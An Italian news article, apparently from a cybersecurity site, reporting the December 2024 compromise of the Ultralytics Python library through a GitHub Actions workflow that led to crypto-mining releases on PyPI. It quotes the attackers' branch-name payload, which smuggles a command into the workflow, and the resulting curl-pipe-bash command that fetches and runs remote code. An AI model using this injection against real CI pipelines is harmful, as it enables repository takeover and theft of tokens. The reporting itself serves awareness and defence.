Redazione RHC : 8 Dicembre 2024 15:46
È stato attaccato il repository della libreria Python Ultralytics, ampiamente utilizzata nelle attività di visione artificiale. Approfittando di questa vulnerabilità, i criminali informatici hanno pubblicato versioni dannose della libreria su PyPI, progettate per il mining di criptovalute.
La vulnerabilità era associata al pacchetto ultralytics-actions, che automatizza l’avvio di gestori per determinate azioni nel repository. Questo è lo scopo per cui viene utilizzato il meccanismo GitHub Actions. Nel progetto Ultralytics, il gestore collegato all’evento pull_request_target ha chiamato il file format.yml per formattare il codice nelle richieste pull in entrata. Questo file eseguiva comandi shell con modelli di caratteri jolly come:
git pull origin ${{ github.head_ref || github.ref }}
CORSO NIS2 : Network and Information system 2
La direttiva NIS2 rappresenta una delle novità più importanti per la sicurezza informatica in Europa, imponendo nuovi obblighi alle aziende e alle infrastrutture critiche per migliorare la resilienza contro le cyber minacce.
Con scadenze stringenti e penalità elevate per chi non si adegua, comprendere i requisiti della NIS2 è essenziale per garantire la compliance e proteggere la tua organizzazione.
Accedi All'Anteprima del Corso condotto dall'Avv. Andrea Capelli sulla nostra Academy e segui l'anteprima gratuita.
Per ulteriori informazioni, scrivici ad [email protected] oppure scrivici su Whatsapp al 379 163 8765
Supporta RHC attraverso:
Ti piacciono gli articoli di Red Hot Cyber? Non aspettare oltre, iscriviti alla newsletter settimanale per non perdere nessun articolo.
git config –global utente.nome “${{ input.github_nomeutente }}”
git config –global user.email “${{ input.github_email }}”
Gli aggressori hanno inviato una richiesta pull al repository Ultralytics, specificando la seguente riga come nome del ramo:
openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh}${IFS}|${IFS}bash)
Ciò ha comportato l’esecuzione del comando:
curl -sSfL raw.githubusercontent.com/…/file.sh | bash
Di conseguenza, gli aggressori hanno avuto accesso ai token del repository e ad altri dati riservati. Si ritiene che abbiano modificato il gestore di pubblicazione per rimuovere la verifica dell’account autorizzato a pubblicare versioni su PyPI e abbiano utilizzato la tecnica di avvelenamento della cache di build di GitHub Actions per inserire i propri dati nella versione.
La prima versione dannosa di Ultralytics, versione 8.3.41, è stata pubblicata su PyPI il 4 dicembre alle 23:51 (MSK) ed eliminata alle 12:15 del giorno successivo. Alle 15:47 è stata pubblicata un’altra versione 8.3.42, che è stata rimossa alle 16:47. Pertanto le versioni dannose sono rimaste disponibili per il download per circa 13 ore. Queste versioni contenevano codice che scaricava il componente di mining XMRig da un server esterno.
Gli sviluppatori hanno risolto rapidamente il problema e hanno rilasciato le versioni correttive 8.3.43 e 8.3.44. Due giorni dopo, però, gli aggressori hanno nuovamente pubblicato le versioni dannose 8.3.45 e 8.3.46, che contenevano un codice diverso. Fino al completamento dell’indagine, si consiglia agli utenti di astenersi dall’installare nuove versioni e di impegnare la versione 8.3.44 come dipendenze.
Gli esperti hanno lanciato l’allarme: i gruppi ransomware stanno utilizzando sempre più spesso il nuovo malware Skitnet (noto anche come Bossnet) per lo sfruttamento successivo delle ...
Nel panorama delle minacce odierne, Defendnot rappresenta un sofisticato malware in grado di disattivare Microsoft Defender sfruttando esclusivamente meccanismi legittimi di Windows. A differenza di a...
Molti credono che l’utilizzo di una VPN garantisca una protezione totale durante la navigazione, anche su reti WiFi totalmente aperte e non sicure. Sebbene le VPN siano strumenti efficaci per c...
Durante una conferenza nazionale dedicata alla sicurezza informatica, sono stati ufficialmente premiati enti, aziende e professionisti che nel 2024 hanno dato un contributo significativo al National I...
Nel mondo della cybersecurity esiste una verità scomoda quanto inevitabile: per difendere davvero qualcosa, bisogna sapere come violarlo. L’autenticazione multi-fattore è una delle co...
Copyright @ REDHOTCYBER Srl
PIVA 17898011006